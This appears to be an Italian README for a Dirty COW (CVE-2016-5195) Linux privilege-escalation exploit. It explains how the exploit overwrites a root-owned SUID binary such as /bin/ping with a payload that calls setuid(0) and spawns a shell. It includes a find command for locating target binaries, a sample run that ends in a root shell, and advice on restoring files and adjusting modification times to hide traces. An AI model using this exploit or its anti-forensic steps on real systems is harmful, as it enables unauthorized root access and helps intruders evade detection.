
Esempio di exploit per CVE-2016-5195
Non sono responsabile di qualsiasi cosa tu faccia con questo codice. Questo codice è fornito senza garanzia.
Exploit per CVE-2016-5195 che mappa un eseguibile SUID di sola lettura in memoria (sola lettura) e usa la race condition per sovrascriverlo con un ELF a nostra scelta. I payload sono disponibili in formato NASM insieme al codice dell'exploit (cowshell-x86.asm && cowshell-x86_64.asm) se vuoi vedere cosa c'è dentro cashm0ney.
Il payload eleva i privilegi con setuid(0), imposta 0 in vm.dirty_writeback_centisecs per prevenire il crash dovuto al writeback del filesystem, e apre una shell (/bin/sh). Questa versione non tenta di scrivere su /proc/self/mem, quindi dovrebbe essere utilizzabile su sistemi CentOS/RHEL. Fa ancora affidamento su ptrace, quindi potrebbe fallire se ptrace è ristretto sul sistema di destinazione.
Trova un eseguibile SUID di proprietà di root a cui il tuo utente corrente ha almeno accesso in lettura:
find / -type f -perm 4755
meow@dirtytest:~/Desktop$ ./derpyc0w /bin/ping /tmp/ping [*] Opened /bin/ping [*] Backing up /bin/ping to /tmp/ping [*] File mapped at 0x0x7f0cbe7ce000 [*] Waiting for child to alert [*] Starting madvise thread. [*] Alerted by child. [*] Preparing to write 262 bytes [*] Trying to perform writes. [*] Wrote byte to 0 [*] Wrote byte to 1 [*] Wrote byte to 2 [*] Wrote byte to 3 [*] Wrote byte to 4 [*] Wrote byte to 5 [*] Wrote byte to 6 [*] Wrote byte to 7 [*] Wrote byte to 8 SNIP [*] Wrote byte to 259 [*] Wrote byte to 260 [*] Wrote byte to 261 [+] w00t, writes finished [+] Popping shell. Remember to restore /bin/ping from /tmp/ping with correct perms! # id uid=0(root) gid=1000(meow) groups=1000(meow),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),131(sambashare) #
Dovresti ripristinare il binario sovrascritto al suo percorso originale partendo dal backup creato, ricordandoti di eseguire chown && chmod per ripristinare proprietario e permessi corretti. Aggiorna anche le date di modifica per il tris.